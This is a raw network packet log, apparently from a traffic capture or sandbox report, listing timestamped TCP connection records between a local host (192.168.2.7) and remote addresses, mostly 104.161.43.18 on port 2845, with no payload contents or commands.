Dec 19, 2024 13:45:17.393718004 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.393760920 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.394638062 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.394779921 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.394821882 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.395719051 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.395833015 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.395883083 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.396687031 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.396823883 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.396929979 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.397726059 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.397912025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.397953987 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.398808956 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.398961067 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.399018049 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.399780989 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.399898052 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.399939060 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.400856018 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.400949955 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.401320934 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.401859045 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.401911974 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.401974916 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.402889013 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.403029919 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.403165102 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.403949976 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.404068947 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.404495001 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.404930115 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.405045986 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.405122995 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.406070948 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.406121969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.406167030 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.407046080 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.407143116 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.407197952 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.408034086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.408094883 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.408231974 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.409065962 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.409122944 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.409188032 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.410096884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.410176992 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.410214901 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.411120892 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.411216021 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.411271095 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.412153959 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.412266970 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.412311077 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.413233042 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.413321972 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.413374901 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.414227962 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.414366007 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.414486885 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.415242910 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.415357113 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.415770054 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.416336060 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.416510105 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.416568041 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.417274952 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.463252068 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.555171013 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.555277109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.555413961 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.555635929 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.555685997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.555916071 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.556654930 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.556890011 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.557708025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.557754993 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.557878971 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.557962894 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.558826923 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.558918953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.558962107 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.559776068 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.559931993 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.559974909 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.560777903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.560877085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.560920954 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.561883926 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.561908960 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.562292099 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.562935114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.563044071 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.563088894 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.563884020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.564018011 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.564064026 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.564903975 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.564991951 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.565036058 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.565973997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.566142082 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.566185951 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.566982985 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.567058086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.567104101 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.567984104 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.568166971 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.568212032 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.569039106 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.569149971 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.569190979 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.570106983 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.570219040 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.570271969 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.571105003 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.571227074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.571266890 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.572124004 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.572251081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.572312117 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.573158979 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.573263884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.573345900 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.574172020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.574285984 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.574341059 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.575221062 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.575339079 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.576029062 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.576267958 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.576476097 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.576518059 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.577270985 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.577373981 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.577488899 CET	49955	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:17.577512026 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.577543020 CET	443	49955	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:17.577613115 CET	49955	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:17.577927113 CET	49955	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:17.577939034 CET	443	49955	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:17.578355074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.578497887 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.578542948 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.579345942 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.579511881 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.579588890 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.580359936 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.580481052 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.580641031 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.581387997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.581523895 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.581569910 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.582418919 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.582540035 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.582587957 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.583436966 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.583714962 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.584480047 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.584527016 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.584655046 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.584697962 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.585566998 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.585634947 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.585689068 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.586566925 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.586658001 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.586741924 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.587651968 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.587776899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.587833881 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.588603973 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.588704109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.588866949 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.589651108 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.589730978 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.589828968 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.590675116 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.590868950 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.590923071 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.591695070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.591870070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.591939926 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.592715979 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.592843056 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.592884064 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.593763113 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.593863964 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.593909979 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.594822884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.594911098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.594958067 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.595823050 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.595941067 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.596035957 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.596884012 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.596960068 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.597003937 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.597918987 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.598117113 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.598555088 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.598990917 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.599075079 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.599117994 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.600059032 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.600075960 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.600116014 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.601063967 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.601079941 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.601124048 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.602054119 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.602071047 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.602113008 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.603092909 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.603156090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.603200912 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.604149103 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.604165077 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.604203939 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.605199099 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.605299950 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.605462074 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.606220961 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.606302977 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.606581926 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.607220888 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.607333899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.607933044 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.608297110 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.608458996 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.608503103 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.609395981 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.650665998 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.747052908 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.747122049 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.747174025 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.747536898 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.747953892 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.748337030 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.748389959 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.748442888 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.748483896 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.749418974 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.749492884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.749701023 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.750483990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.750529051 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.750569105 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.751442909 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.751563072 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.751609087 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.752537966 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.752713919 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.752759933 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.753583908 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.753608942 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.753653049 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.754528999 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.754868984 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.754911900 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.755618095 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.755886078 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.756294966 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.756655931 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.756720066 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.757318974 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.757781029 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.757797003 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.757839918 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.758713007 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.758826017 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.758889914 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.759881020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.759888887 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.759941101 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.760715961 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.760751963 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.760842085 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.761996984 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.762012959 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.762159109 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.762778997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.762938023 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.762983084 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.763823986 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.763968945 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.764066935 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.764914989 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.764988899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.765225887 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.765867949 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.766129971 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.766179085 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.766877890 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.767054081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.767115116 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.767978907 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.768146038 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.768189907 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.769310951 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.769326925 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.769368887 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.770054102 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.770152092 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.770196915 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.771125078 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.771182060 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.771220922 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.772103071 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.772181034 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.772392035 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.773261070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.773307085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.773422956 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.774241924 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.774257898 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.774303913 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.775173903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.775279999 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.775346994 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.776381969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.776396990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.776448965 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.777194977 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.777334929 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.777765989 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.778247118 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.778445005 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.778496981 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.779373884 CET	2845	49943	104.161.43.18	192.168.2.7
